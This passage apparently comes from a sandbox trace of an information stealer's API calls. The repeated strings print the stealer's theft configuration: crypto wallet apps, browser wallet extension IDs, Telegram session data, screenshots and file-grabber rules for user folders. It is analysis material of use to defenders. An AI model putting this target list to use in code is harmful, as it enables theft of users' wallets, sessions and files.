Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.627] lstrlenW (lpString="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4476 [0259.627] lstrlenW (lpString="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4476 [0259.627] LocalAlloc (uFlags=0x40, uBytes=0x22f8) returned 0x6b9720 [0259.627] lstrlenW (lpString="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4476 [0259.627] LocalAlloc (uFlags=0x40, uBytes=0x22f8) returned 0x6bba20 [0259.627] lstrlenW (lpString="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4476 [0259.627] LocalAlloc (uFlags=0x40, uBytes=0x22f8) returned 0x6bdd20 [0259.627] StrStrW (lpFirst="ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger 